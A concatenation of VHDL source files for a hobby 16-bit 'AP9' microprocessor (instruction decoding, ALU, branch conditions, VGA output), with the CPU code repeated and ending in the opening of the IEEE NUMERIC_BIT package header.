IF(IncSP = '1') THEN
SP := SP + x"1";
IncSP := '0';
END IF;
IF(DecSP = '1') THEN
SP := SP - x"1";
DecSP := '0';
END IF;
IF(LoadIR = '1') THEN
IR := MEM_DATA;
LoadIR := '0';
END IF;
IF(LoadREG(RX) = '1') THEN
REG(RX) := M2;
LoadREG(RX) := '0';
END IF;
IF(IncPC = '1') THEN
PC := PC + x"1";
IncPC := '0';
END IF;
CASE selM6 IS
WHEN sULA =>
FR <= auxFR;
WHEN sMEM =>
FR <= MEM_DATA;
WHEN OTHERS =>
END CASE;
selM6 := sULA;
PC_DATA <= PC;
COND := '0';
MEM_RW <= '0';
VGA_DRAW <= '0';
RX := conv_integer(IR(9 DOWNTO 7));
RY := conv_integer(IR(6 DOWNTO 4));
RZ := conv_integer(IR(3 DOWNTO 1));
CASE STATE IS
WHEN fetch =>
MEM_ADDR <= PC;
LoadIR := '1';
IncPC := '1';
STATE := decode;
WHEN decode =>
IF(IR(15 DOWNTO 14) = ARITH) THEN
CASE IR(13 DOWNTO 10) IS
WHEN INC =>
X <= REG(RX);
M4 := x"0001";
Y <= M4;
IF(IR(6) = '0') THEN
OP <= '0' & ARITH & ADD;
ELSE
OP <= '0' & ARITH & SUB;
END IF;
selM2 := sULA;
LoadREG(RX) := '1';
STATE := fetch;
WHEN OTHERS =>
X <= REG(RY);
M4 := REG(RZ);
Y <= M4;
OP <= IR(0) & ARITH & IR(13 DOWNTO 10);
selM2 := sULA;
LoadREG(RX) := '1';
STATE := fetch;
END CASE;
ELSIF(IR(15 DOWNTO 14) = LOGIC) THEN
CASE IR(13 DOWNTO 10) IS
WHEN LNOT =>
M4 := REG(RY);
Y <= M4;
OP <= '0' & LOGIC & LNOT;
selM2 := sULA;
LoadREG(RX) := '1';
STATE := fetch;
WHEN CMP =>
X <= REG(RX);
M4 := REG(RY);
Y <= M4;
OP <= '0' & LOGIC & CMP;
STATE := fetch;
WHEN SHIFT =>
CASE IR(6 DOWNTO 4) IS
WHEN "000" =>
M4 := TO_STDLOGICVECTOR(TO_BITVECTOR(REG(RX)) SLL conv_integer(IR(3 DOWNTO 0)));
WHEN "001" =>
M4 := NOT TO_STDLOGICVECTOR(NOT TO_BITVECTOR(REG(RX)) SLL conv_integer(IR(3 DOWNTO 0)));
WHEN "010" =>
M4 := TO_STDLOGICVECTOR(TO_BITVECTOR(REG(RX)) SRL conv_integer(IR(3 DOWNTO 0)));
WHEN "011" =>
M4 := NOT TO_STDLOGICVECTOR(NOT TO_BITVECTOR(REG(RX)) SRL conv_integer(IR(3 DOWNTO 0)));
WHEN "100" =>
M4 := TO_STDLOGICVECTOR(TO_BITVECTOR(REG(RX)) ROL conv_integer(IR(3 DOWNTO 0)));
WHEN "110" =>
M4 := TO_STDLOGICVECTOR(TO_BITVECTOR(REG(RX)) ROR conv_integer(IR(3 DOWNTO 0)));
WHEN OTHERS =>
END CASE;
selM2 := sM4;
LoadREG(RX) := '1';
STATE := fetch;
WHEN OTHERS =>
X <= REG(RY);
M4 := REG(RZ);
Y <= M4;
OP <= '0' & LOGIC & IR(13 DOWNTO 10);
selM2 := sM4;
LoadREG(RX) := '1';
STATE := fetch;
END CASE;
ELSE
CASE IR(15 DOWNTO 10) IS
WHEN LOAD =>
MEM_ADDR <= PC;
LoadMAR := '1';
IncPC := '1';
STATE := exec;
WHEN STORE =>
MEM_ADDR <= PC;
LoadMAR := '1';
IncPC := '1';
STATE := exec;
WHEN LOADIMED =>
MEM_ADDR <= PC;
selM2 := sMEM;
LoadREG(RX) := '1';
IncPC := '1';
STATE := fetch;
WHEN LOADINDEX =>
M4 := REG(RY);
MEM_ADDR <= M4;
selM2 := sMEM;
LoadREG(RX) := '1';
STATE := fetch;
WHEN STOREINDEX =>
MEM_ADDR <= REG(RX);
M4 := REG(RY);
MEM_WDATA <= M4;
MEM_RW <= '1';
STATE := fetch;
WHEN MOV =>
M4 := REG(RY);
selM2 := sM4;
LoadREG(RX) := '1';
STATE := fetch;
WHEN OUTCHAR =>
VGA_CC <= REG(RX);
M4 := REG(RY);
VGA_POS <= M4;
VGA_DRAW <= '1';
STATE := fetch;
WHEN INCHAR =>
selM2 := sKEY;
LoadReg(RX) := '1';
STATE := fetch;
WHEN JMP =>
MEM_ADDR <= PC;
CASE IR(9 DOWNTO 6) IS
WHEN IF1 =>
COND := '1';
WHEN IFE =>
COND := FR(FREQUAL);
WHEN IFNE =>
COND := NOT FR(FREQUAL);
WHEN IFZ =>
COND := FR(FRZERO);
WHEN IFNZ =>
COND := NOT FR(FRZERO);
WHEN IFC =>
COND := FR(FRCARRY);
WHEN IFNC =>
COND := NOT FR(FRCARRY);
WHEN IFGR =>
COND := FR(FRGREATER);
WHEN IFLE =>
COND := FR(FRLESSER);
WHEN IFEG =>
COND := FR(FREQUAL) OR FR(FRGREATER);
WHEN IFEL =>
COND := FR(FREQUAL) OR FR(FRLESSER);
WHEN IFOV =>
COND := FR(FRARITHOF); --OR FR(FRSTACKOV);
WHEN IFNOV =>
COND := NOT FR(FRARITHOF); --OR NOT FR(FRSTACKOF);
WHEN OTHERS =>
END CASE;
IF(COND = '1') THEN
LoadPC := '1';
ELSE
IncPC := '1';
END IF;
STATE := fetch;
WHEN CALL =>
CASE IR(9 DOWNTO 6) IS
WHEN IF1 =>
COND := '1';
WHEN IFE =>
COND := FR(FREQUAL);
WHEN IFNE =>
COND := NOT FR(FREQUAL);
WHEN IFZ =>
COND := FR(FRZERO);
WHEN IFNZ =>
COND := NOT FR(FRZERO);
WHEN IFC =>
COND := FR(FRCARRY);
WHEN IFNC =>
COND := NOT FR(FRCARRY);
WHEN IFGR =>
COND := FR(FRGREATER);
WHEN IFLE =>
COND := FR(FRLESSER);
WHEN IFEG =>
COND := FR(FREQUAL) OR FR(FRGREATER);
WHEN IFEL =>
COND := FR(FREQUAL) OR FR(FRLESSER);
WHEN IFOV =>
COND := FR(FRARITHOF); --OR FR(FRSTACKOV);
WHEN IFNOV =>
COND := NOT FR(FRARITHOF); --OR NOT FR(FRSTACKOF);
WHEN OTHERS =>
END CASE;
IF(COND = '1') THEN
MEM_WDATA <= PC;
MEM_ADDR <= SP;
MEM_RW <= '1';
DecSP := '1';
STATE := exec;
ELSE
IncPC := '1';
STATE := fetch;
END IF;
WHEN RTS =>
IncSP := '1';
STATE := exec;
WHEN PUSH =>
IF(IR(6) = '0') THEN
MEM_WDATA <= REG(RX);
ELSE
MEM_WDATA <= FR;
END IF;
MEM_ADDR <= SP;
MEM_RW <= '1';
DecSP := '1';
STATE := fetch;
WHEN POP =>
IncSP := '1';
STATE := exec;
WHEN NOP =>
STATE := fetch;
WHEN SETC =>
selM6 := sULA;
FR(FRCARRY) <= IR(9);
STATE := fetch;
WHEN HALT =>
STATE := halted;
WHEN OTHERS =>
STATE := fetch;
END CASE;
END IF;
WHEN exec =>
CASE IR(15 DOWNTO 10) IS
WHEN LOAD =>
MEM_ADDR <= MAR;
selM2 := sMEM;
LoadReg(RX) := '1';
STATE := fetch;
WHEN STORE =>
MEM_ADDR <= MAR;
MEM_WDATA <= REG(RX);
MEM_RW <= '1';
STATE := fetch;
WHEN CALL =>
MEM_ADDR <= PC;
LoadPC := '1';
STATE := fetch;
WHEN RTS =>
MEM_ADDR <= SP;
LoadPC := '1';
IncPC := '1';
STATE := fetch;
WHEN POP =>
MEM_ADDR <= SP;
selM2 := sMEM;
IF(IR(6) = '0') THEN
LoadREG(RX) := '1';
ELSE
selM6 := sMEM;
END IF;
STATE := fetch;
WHEN OTHERS =>
STATE := fetch;
END CASE;
WHEN halted =>
HALT_ACK <= '1';
WHEN OTHERS =>
END CASE;
END IF;
END PROCESS;
PROCESS(OP, X, Y, RST)
VARIABLE AUX : STD_LOGIC_VECTOR(15 DOWNTO 0);
VARIABLE RESULT32 : STD_LOGIC_VECTOR(31 DOWNTO 0);
BEGIN
IF(RST = '1') THEN
auxFR <= x"0000";
RESULT <= x"0000";
ELSE
auxFR <= FR;
IF(OP(5 DOWNTO 4) = ARITH) THEN
CASE OP(3 DOWNTO 0) IS
WHEN ADD =>
IF(OP(6) = '1') THEN
AUX := X + Y + FR(FRCARRY);
RESULT32 := (x"00000000" + X + Y + FR(FRCARRY));
ELSE
AUX := X + Y;
RESULT32 := (x"00000000" + X + Y);
END IF;
IF(RESULT32 > "01111111111111111") THEN
auxFR(FRCARRY) <= '1';
ELSE
auxFR(FRCARRY) <= '0';
END IF;
WHEN SUB =>
AUX := X - Y;
WHEN MULT =>
RESULT32 := X * Y;
AUX := RESULT32(15 DOWNTO 0);
IF(RESULT32 > x"0000FFFF") THEN
auxFR(FRARITHOF) <= '1';
ELSE
auxFR(FRARITHOF) <= '0';
END IF;
WHEN DIV =>
IF(Y = x"0000") THEN
AUX := x"0000";
auxFR(FRDIVZERO) <= '1';
ELSE
AUX := CONV_STD_LOGIC_VECTOR(CONV_INTEGER(X)/CONV_INTEGER(Y), 16);
auxFR(FRDIVZERO) <= '0';
END IF;
WHEN LMOD =>
AUX := CONV_STD_LOGIC_VECTOR(CONV_INTEGER(X) MOD CONV_INTEGER(Y), 16);
WHEN OTHERS =>
AUX := X;
END CASE;
IF(AUX = x"0000") THEN
auxFR(3) <= '1';
ELSE
auxFR(3) <= '0';
END IF;
RESULT <= AUX;
ELSIF(OP (5 DOWNTO 4) = LOGIC) THEN
IF(OP (3 DOWNTO 0) = CMP) THEN
result <= x;
IF(X > Y) THEN
auxFR(2 DOWNTO 0) <= "001";
ELSIF (X < Y) THEN
auxFR(2 DOWNTO 0) <= "010";
ELSIF (X = Y) THEN
auxFR(2 DOWNTO 0) <= "100";
END IF;
ELSE
CASE OP (3 DOWNTO 0) IS
WHEN LAND =>
RESULT <= X AND Y;
WHEN LXOR =>
RESULT <= X XOR Y;
WHEN LOR =>
RESULT <= X OR Y;
WHEN LNOT =>
RESULT <= NOT Y;
WHEN OTHERS =>
RESULT <= X;
END CASE;
IF(RESULT = x"0000") THEN
auxFR(FRZERO) <= '1';
ELSE
auxFR(FRZERO) <= '0';
END IF;
END IF;
END IF;
END IF;
END PROCESS;
END main; |
--SETCARRY NEEDS TO BE FIXED!!!
---------------------------------------------------
--APx-ARCH AP9 Micro-processor---------------------
--16-bits width bus--------------------------------
--External clock-----------------------------------
--Builded by MicroENIX, copyright (r) 2011---------
--For detailed description about this--------------
--architechture, please refer to the AP9 reference--
--manual.------------------------------------------
---------------------------------------------------
LIBRARY IEEE;
USE IEEE.STD_LOGIC_1164.ALL;
USE IEEE.STD_LOGIC_ARITH.ALL;
USE IEEE.STD_LOGIC_UNSIGNED.ALL;
ENTITY AP9_cpu IS
PORT(
CLK : IN STD_LOGIC;
RST : IN STD_LOGIC;
HALT_REQ : IN STD_LOGIC;
KEY : IN STD_LOGIC_VECTOR(7 DOWNTO 0);
MEM_DATA : IN STD_LOGIC_VECTOR(15 DOWNTO 0);
MEM_WDATA : OUT STD_LOGIC_VECTOR(15 DOWNTO 0);
MEM_ADDR : OUT STD_LOGIC_VECTOR(15 DOWNTO 0);
MEM_RW : OUT STD_LOGIC;
VGA_DRAW : OUT STD_LOGIC;
VGA_POS : OUT STD_LOGIC_VECTOR(15 DOWNTO 0);
VGA_CC : OUT STD_LOGIC_VECTOR(15 DOWNTO 0);
PC_DATA : OUT STD_LOGIC_VECTOR(15 DOWNTO 0);
HALT_ACK : OUT STD_LOGIC
);
END AP9_cpu;
ARCHITECTURE main OF AP9_cpu IS
TYPE STATES IS (fetch, decode, exec, halted);
TYPE REGISTERS IS ARRAY(0 TO 7) OF STD_LOGIC_VECTOR(15 DOWNTO 0);
TYPE LOADREGISTERS IS ARRAY(0 TO 7) OF STD_LOGIC;
CONSTANT LOAD : STD_LOGIC_VECTOR(5 DOWNTO 0) := "110000";
CONSTANT STORE : STD_LOGIC_VECTOR(5 DOWNTO 0) := "110001";
CONSTANT LOADIMED : STD_LOGIC_VECTOR(5 DOWNTO 0) := "111000";
CONSTANT LOADINDEX : STD_LOGIC_VECTOR(5 DOWNTO 0) := "111100";
CONSTANT STOREINDEX : STD_LOGIC_VECTOR(5 DOWNTO 0) := "111101";
CONSTANT MOV : STD_LOGIC_VECTOR(5 DOWNTO 0) := "110011";
CONSTANT OUTCHAR : STD_LOGIC_VECTOR(5 DOWNTO 0) := "110010";
CONSTANT INCHAR : STD_LOGIC_VECTOR(5 DOWNTO 0) := "110101";
CONSTANT ARITH : STD_LOGIC_VECTOR(1 DOWNTO 0) := "10";
CONSTANT ADD : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0000";
CONSTANT SUB : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0001";
CONSTANT MULT : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0010";
CONSTANT DIV : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0011";
CONSTANT INC : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0100";
CONSTANT LMOD : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0101";
CONSTANT CMP : STD_LOGIC_VECTOR (3 DOWNTO 0) := "0110";
CONSTANT LOGIC : STD_LOGIC_VECTOR(1 DOWNTO 0) := "01";
CONSTANT LAND : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0010";
CONSTANT LOR : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0011";
CONSTANT LXOR : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0100";
CONSTANT LNOT : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0101";
CONSTANT SHIFT : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0000";
CONSTANT JMP : STD_LOGIC_VECTOR(5 DOWNTO 0) := "000010";
CONSTANT CALL : STD_LOGIC_VECTOR(5 DOWNTO 0) := "000011";
CONSTANT RTS : STD_LOGIC_VECTOR(5 DOWNTO 0) := "000100";
CONSTANT PUSH : STD_LOGIC_VECTOR(5 DOWNTO 0) := "000101";
CONSTANT POP : STD_LOGIC_VECTOR(5 DOWNTO 0) := "000110";
CONSTANT NOP : STD_LOGIC_VECTOR(5 DOWNTO 0) := "000000";
CONSTANT SETC : STD_LOGIC_VECTOR(5 DOWNTO 0) := "001000";
CONSTANT HALT : STD_LOGIC_VECTOR(5 DOWNTO 0) := "001111";
CONSTANT sULA : STD_LOGIC_VECTOR(1 DOWNTO 0) := "00";
CONSTANT sMEM : STD_LOGIC_VECTOR(1 DOWNTO 0) := "01";
CONSTANT sM4 : STD_LOGIC_VECTOR(1 DOWNTO 0) := "10";
CONSTANT sKEY : STD_LOGIC_VECTOR(1 DOWNTO 0) := "11";
CONSTANT FRGREATER : INTEGER := 0;
CONSTANT FRLESSER : INTEGER := 1;
CONSTANT FREQUAL : INTEGER := 2;
CONSTANT FRZERO : INTEGER := 3;
CONSTANT FRCARRY : INTEGER := 4;
CONSTANT FRARITHOF : INTEGER := 5;
CONSTANT FRDIVZERO : INTEGER := 6;
CONSTANT FRSTACKOF : INTEGER := 7;
CONSTANT FRSTACKUF : INTEGER := 8;
CONSTANT IF1 : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0000";
CONSTANT IFE : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0001";
CONSTANT IFNE : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0010";
CONSTANT IFZ : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0011";
CONSTANT IFNZ : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0100";
CONSTANT IFC : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0101";
CONSTANT IFNC : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0110";
CONSTANT IFGR : STD_LOGIC_VECTOR(3 DOWNTO 0) := "0111";
CONSTANT IFLE : STD_LOGIC_VECTOR(3 DOWNTO 0) := "1000";
CONSTANT IFEG : STD_LOGIC_VECTOR(3 DOWNTO 0) := "1001";
CONSTANT IFEL : STD_LOGIC_VECTOR(3 DOWNTO 0) := "1010";
CONSTANT IFOV : STD_LOGIC_VECTOR(3 DOWNTO 0) := "1011";
CONSTANT IFNOV : STD_LOGIC_VECTOR(3 DOWNTO 0) := "1100";
SIGNAL OP : STD_LOGIC_VECTOR(6 DOWNTO 0);
SIGNAL X, Y, RESULT: STD_LOGIC_VECTOR(15 DOWNTO 0);
SIGNAL FR : STD_LOGIC_VECTOR(15 DOWNTO 0);
SIGNAL auxFR : STD_LOGIC_VECTOR(15 DOWNTO 0);
BEGIN
PROCESS(CLK, RST)
VARIABLE STATE : STATES;
VARIABLE PC : STD_LOGIC_VECTOR(15 DOWNTO 0);
VARIABLE SP : STD_LOGIC_VECTOR(15 DOWNTO 0);
VARIABLE IR : STD_LOGIC_VECTOR(15 DOWNTO 0);
VARIABLE MAR : STD_LOGIC_VECTOR(15 DOWNTO 0);
VARIABLE M2 : STD_LOGIC_VECTOR(15 DOWNTO 0);
VARIABLE M4 : STD_LOGIC_VECTOR(15 DOWNTO 0);
VARIABLE RX : INTEGER;
VARIABLE RY : INTEGER;
VARIABLE RZ : INTEGER;
VARIABLE selM2 : STD_LOGIC_VECTOR(1 DOWNTO 0);
VARIABLE selM6 : STD_LOGIC_VECTOR(1 DOWNTO 0);
VARIABLE IncPC : STD_LOGIC;
VARIABLE IncSP : STD_LOGIC;
VARIABLE DecSP : STD_LOGIC;
VARIABLE LoadPC : STD_LOGIC;
VARIABLE LoadMAR : STD_LOGIC;
VARIABLE LoadIR : STD_LOGIC;
VARIABLE LoadREG : LOADREGISTERS;
VARIABLE COND : STD_LOGIC;
VARIABLE REG : REGISTERS;
BEGIN
IF(RST = '1') THEN
STATE := fetch;
PC := x"0000";
SP := x"3FFC";
IR := x"0000";
MAR := x"0000";
selM2 := sMEM;
selM6 := sULA;
IncPC := '0';
IncSP := '0';
DecSP := '0';
LoadPC := '0';
LoadMAR := '0';
LoadIR := '0';
LoadREG := x"00";
COND := '0';
MEM_RW <= '0';
VGA_DRAW <= '0';
HALT_ACK <= '0';
ELSIF(CLK'EVENT AND CLK = '1') THEN
IF(HALT_REQ = '1') THEN
STATE := halted;
END IF;
IF(LoadPC = '1') THEN
PC := MEM_DATA;
LoadPC := '0';
END IF;
CASE selM2 IS
WHEN sMEM =>
M2 := MEM_DATA;
WHEN sM4 =>
M2 := M4;
WHEN sKEY =>
M2(15 DOWNTO 8) := x"00";
M2(7 DOWNTO 0) := KEY;
WHEN sULA =>
M2 := RESULT;
WHEN OTHERS =>
END CASE;
IF(LoadMAR = '1') THEN
MAR := MEM_DATA;
LoadMAR := '0';
END IF;
IF(IncSP = '1') THEN
SP := SP + x"1";
IncSP := '0';
END IF;
IF(DecSP = '1') THEN
SP := SP - x"1";
DecSP := '0';
END IF;
IF(LoadIR = '1') THEN
IR := MEM_DATA;
LoadIR := '0';
END IF;
IF(LoadREG(RX) = '1') THEN
REG(RX) := M2;
LoadREG(RX) := '0';
END IF;
IF(IncPC = '1') THEN
PC := PC + x"1";
IncPC := '0';
END IF;
CASE selM6 IS
WHEN sULA =>
FR <= auxFR;
WHEN sMEM =>
FR <= MEM_DATA;
WHEN OTHERS =>
END CASE;
selM6 := sULA;
PC_DATA <= PC;
COND := '0';
MEM_RW <= '0';
VGA_DRAW <= '0';
RX := conv_integer(IR(9 DOWNTO 7));
RY := conv_integer(IR(6 DOWNTO 4));
RZ := conv_integer(IR(3 DOWNTO 1));
CASE STATE IS
WHEN fetch =>
MEM_ADDR <= PC;
LoadIR := '1';
IncPC := '1';
STATE := decode;
WHEN decode =>
IF(IR(15 DOWNTO 14) = ARITH) THEN
CASE IR(13 DOWNTO 10) IS
WHEN INC =>
X <= REG(RX);
M4 := x"0001";
Y <= M4;
IF(IR(6) = '0') THEN
OP <= '0' & ARITH & ADD;
ELSE
OP <= '0' & ARITH & SUB;
END IF;
selM2 := sULA;
LoadREG(RX) := '1';
STATE := fetch;
WHEN OTHERS =>
X <= REG(RY);
M4 := REG(RZ);
Y <= M4;
OP <= IR(0) & ARITH & IR(13 DOWNTO 10);
selM2 := sULA;
LoadREG(RX) := '1';
STATE := fetch;
END CASE;
ELSIF(IR(15 DOWNTO 14) = LOGIC) THEN
CASE IR(13 DOWNTO 10) IS
WHEN LNOT =>
M4 := REG(RY);
Y <= M4;
OP <= '0' & LOGIC & LNOT;
selM2 := sULA;
LoadREG(RX) := '1';
STATE := fetch;
WHEN CMP =>
X <= REG(RX);
M4 := REG(RY);
Y <= M4;
OP <= '0' & LOGIC & CMP;
STATE := fetch;
WHEN SHIFT =>
CASE IR(6 DOWNTO 4) IS
WHEN "000" =>
M4 := TO_STDLOGICVECTOR(TO_BITVECTOR(REG(RX)) SLL conv_integer(IR(3 DOWNTO 0)));
WHEN "001" =>
M4 := NOT TO_STDLOGICVECTOR(NOT TO_BITVECTOR(REG(RX)) SLL conv_integer(IR(3 DOWNTO 0)));
WHEN "010" =>
M4 := TO_STDLOGICVECTOR(TO_BITVECTOR(REG(RX)) SRL conv_integer(IR(3 DOWNTO 0)));
WHEN "011" =>
M4 := NOT TO_STDLOGICVECTOR(NOT TO_BITVECTOR(REG(RX)) SRL conv_integer(IR(3 DOWNTO 0)));
WHEN "100" =>
M4 := TO_STDLOGICVECTOR(TO_BITVECTOR(REG(RX)) ROL conv_integer(IR(3 DOWNTO 0)));
WHEN "110" =>
M4 := TO_STDLOGICVECTOR(TO_BITVECTOR(REG(RX)) ROR conv_integer(IR(3 DOWNTO 0)));
WHEN OTHERS =>
END CASE;
selM2 := sM4;
LoadREG(RX) := '1';
STATE := fetch;
WHEN OTHERS =>
X <= REG(RY);
M4 := REG(RZ);
Y <= M4;
OP <= '0' & LOGIC & IR(13 DOWNTO 10);
selM2 := sM4;
LoadREG(RX) := '1';
STATE := fetch;
END CASE;
ELSE
CASE IR(15 DOWNTO 10) IS
WHEN LOAD =>
MEM_ADDR <= PC;
LoadMAR := '1';
IncPC := '1';
STATE := exec;
WHEN STORE =>
MEM_ADDR <= PC;
LoadMAR := '1';
IncPC := '1';
STATE := exec;
WHEN LOADIMED =>
MEM_ADDR <= PC;
selM2 := sMEM;
LoadREG(RX) := '1';
IncPC := '1';
STATE := fetch;
WHEN LOADINDEX =>
M4 := REG(RY);
MEM_ADDR <= M4;
selM2 := sMEM;
LoadREG(RX) := '1';
STATE := fetch;
WHEN STOREINDEX =>
MEM_ADDR <= REG(RX);
M4 := REG(RY);
MEM_WDATA <= M4;
MEM_RW <= '1';
STATE := fetch;
WHEN MOV =>
M4 := REG(RY);
selM2 := sM4;
LoadREG(RX) := '1';
STATE := fetch;
WHEN OUTCHAR =>
VGA_CC <= REG(RX);
M4 := REG(RY);
VGA_POS <= M4;
VGA_DRAW <= '1';
STATE := fetch;
WHEN INCHAR =>
selM2 := sKEY;
LoadReg(RX) := '1';
STATE := fetch;
WHEN JMP =>
MEM_ADDR <= PC;
CASE IR(9 DOWNTO 6) IS
WHEN IF1 =>
COND := '1';
WHEN IFE =>
COND := FR(FREQUAL);
WHEN IFNE =>
COND := NOT FR(FREQUAL);
WHEN IFZ =>
COND := FR(FRZERO);
WHEN IFNZ =>
COND := NOT FR(FRZERO);
WHEN IFC =>
COND := FR(FRCARRY);
WHEN IFNC =>
COND := NOT FR(FRCARRY);
WHEN IFGR =>
COND := FR(FRGREATER);
WHEN IFLE =>
COND := FR(FRLESSER);
WHEN IFEG =>
COND := FR(FREQUAL) OR FR(FRGREATER);
WHEN IFEL =>
COND := FR(FREQUAL) OR FR(FRLESSER);
WHEN IFOV =>
COND := FR(FRARITHOF); --OR FR(FRSTACKOV);
WHEN IFNOV =>
COND := NOT FR(FRARITHOF); --OR NOT FR(FRSTACKOF);
WHEN OTHERS =>
END CASE;
IF(COND = '1') THEN
LoadPC := '1';
ELSE
IncPC := '1';
END IF;
STATE := fetch;
WHEN CALL =>
CASE IR(9 DOWNTO 6) IS
WHEN IF1 =>
COND := '1';
WHEN IFE =>
COND := FR(FREQUAL);
WHEN IFNE =>
COND := NOT FR(FREQUAL);
WHEN IFZ =>
COND := FR(FRZERO);
WHEN IFNZ =>
COND := NOT FR(FRZERO);
WHEN IFC =>
COND := FR(FRCARRY);
WHEN IFNC =>
COND := NOT FR(FRCARRY);
WHEN IFGR =>
COND := FR(FRGREATER);
WHEN IFLE =>
COND := FR(FRLESSER);
WHEN IFEG =>
COND := FR(FREQUAL) OR FR(FRGREATER);
WHEN IFEL =>
COND := FR(FREQUAL) OR FR(FRLESSER);
WHEN IFOV =>
COND := FR(FRARITHOF); --OR FR(FRSTACKOV);
WHEN IFNOV =>
COND := NOT FR(FRARITHOF); --OR NOT FR(FRSTACKOF);
WHEN OTHERS =>
END CASE;
IF(COND = '1') THEN
MEM_WDATA <= PC;
MEM_ADDR <= SP;
MEM_RW <= '1';
DecSP := '1';
STATE := exec;
ELSE
IncPC := '1';
STATE := fetch;
END IF;
WHEN RTS =>
IncSP := '1';
STATE := exec;
WHEN PUSH =>
IF(IR(6) = '0') THEN
MEM_WDATA <= REG(RX);
ELSE
MEM_WDATA <= FR;
END IF;
MEM_ADDR <= SP;
MEM_RW <= '1';
DecSP := '1';
STATE := fetch;
WHEN POP =>
IncSP := '1';
STATE := exec;
WHEN NOP =>
STATE := fetch;
WHEN SETC =>
selM6 := sULA;
FR(FRCARRY) <= IR(9);
STATE := fetch;
WHEN HALT =>
STATE := halted;
WHEN OTHERS =>
STATE := fetch;
END CASE;
END IF;
WHEN exec =>
CASE IR(15 DOWNTO 10) IS
WHEN LOAD =>
MEM_ADDR <= MAR;
selM2 := sMEM;
LoadReg(RX) := '1';
STATE := fetch;
WHEN STORE =>
MEM_ADDR <= MAR;
MEM_WDATA <= REG(RX);
MEM_RW <= '1';
STATE := fetch;
WHEN CALL =>
MEM_ADDR <= PC;
LoadPC := '1';
STATE := fetch;
WHEN RTS =>
MEM_ADDR <= SP;
LoadPC := '1';
IncPC := '1';
STATE := fetch;
WHEN POP =>
MEM_ADDR <= SP;
selM2 := sMEM;
IF(IR(6) = '0') THEN
LoadREG(RX) := '1';
ELSE
selM6 := sMEM;
END IF;
STATE := fetch;
WHEN OTHERS =>
STATE := fetch;
END CASE;
WHEN halted =>
HALT_ACK <= '1';
WHEN OTHERS =>
END CASE;
END IF;
END PROCESS;
PROCESS(OP, X, Y, RST)
VARIABLE AUX : STD_LOGIC_VECTOR(15 DOWNTO 0);
VARIABLE RESULT32 : STD_LOGIC_VECTOR(31 DOWNTO 0);
BEGIN
IF(RST = '1') THEN
auxFR <= x"0000";
RESULT <= x"0000";
ELSE
auxFR <= FR;
IF(OP(5 DOWNTO 4) = ARITH) THEN
CASE OP(3 DOWNTO 0) IS
WHEN ADD =>
IF(OP(6) = '1') THEN
AUX := X + Y + FR(FRCARRY);
RESULT32 := (x"00000000" + X + Y + FR(FRCARRY));
ELSE
AUX := X + Y;
RESULT32 := (x"00000000" + X + Y);
END IF;
IF(RESULT32 > "01111111111111111") THEN
auxFR(FRCARRY) <= '1';
ELSE
auxFR(FRCARRY) <= '0';
END IF;
WHEN SUB =>
AUX := X - Y;
WHEN MULT =>
RESULT32 := X * Y;
AUX := RESULT32(15 DOWNTO 0);
IF(RESULT32 > x"0000FFFF") THEN
auxFR(FRARITHOF) <= '1';
ELSE
auxFR(FRARITHOF) <= '0';
END IF;
WHEN DIV =>
IF(Y = x"0000") THEN
AUX := x"0000";
auxFR(FRDIVZERO) <= '1';
ELSE
AUX := CONV_STD_LOGIC_VECTOR(CONV_INTEGER(X)/CONV_INTEGER(Y), 16);
auxFR(FRDIVZERO) <= '0';
END IF;
WHEN LMOD =>
AUX := CONV_STD_LOGIC_VECTOR(CONV_INTEGER(X) MOD CONV_INTEGER(Y), 16);
WHEN OTHERS =>
AUX := X;
END CASE;
IF(AUX = x"0000") THEN
auxFR(3) <= '1';
ELSE
auxFR(3) <= '0';
END IF;
RESULT <= AUX;
ELSIF(OP (5 DOWNTO 4) = LOGIC) THEN
IF(OP (3 DOWNTO 0) = CMP) THEN
result <= x;
IF(X > Y) THEN
auxFR(2 DOWNTO 0) <= "001";
ELSIF (X < Y) THEN
auxFR(2 DOWNTO 0) <= "010";
ELSIF (X = Y) THEN
auxFR(2 DOWNTO 0) <= "100";
END IF;
ELSE
CASE OP (3 DOWNTO 0) IS
WHEN LAND =>
RESULT <= X AND Y;
WHEN LXOR =>
RESULT <= X XOR Y;
WHEN LOR =>
RESULT <= X OR Y;
WHEN LNOT =>
RESULT <= NOT Y;
WHEN OTHERS =>
RESULT <= X;
END CASE;
IF(RESULT = x"0000") THEN
auxFR(FRZERO) <= '1';
ELSE
auxFR(FRZERO) <= '0';
END IF;
END IF;
END IF;
END IF;
END PROCESS;
END main; |
-- -----------------------------------------------------------------------------
--
-- Copyright 1995 by IEEE. All rights reserved.
--
-- This source file is considered by the IEEE to be an essential part of the use
-- of the standard 1076.3 and as such may be distributed without change, except
-- as permitted by the standard. This source file may not be sold or distributed
-- for profit. This package may be modified to include additional data required
-- by tools, but must in no way change the external interfaces or simulation
-- behaviour of the description. It is permissible to add comments and/or
-- attributes to the package declarations, but not to change or delete any
-- original lines of the approved package declaration. The package body may be
-- changed only in accordance with the terms of clauses 7.1 and 7.2 of the
-- standard.
--
-- Title : Standard VHDL Synthesis Package (1076.3, NUMERIC_BIT)
--
-- Library : This package shall be compiled into a library symbolically
-- : named IEEE.
--
-- Developers : IEEE DASC Synthesis Working Group, PAR 1076.3
--
-- Purpose : This package defines numeric types and arithmetic functions
-- : for use with synthesis tools. Two numeric types are defined:
-- : -- > UNSIGNED: represents an UNSIGNED number in vector form
-- : -- > SIGNED: represents a SIGNED number in vector form
-- : The base element type is type BIT.
-- : The leftmost bit is treated as the most significant bit.
-- : Signed vectors are represented in two's complement form.
-- : This package contains overloaded arithmetic operators on
-- : the SIGNED and UNSIGNED types. The package also contains
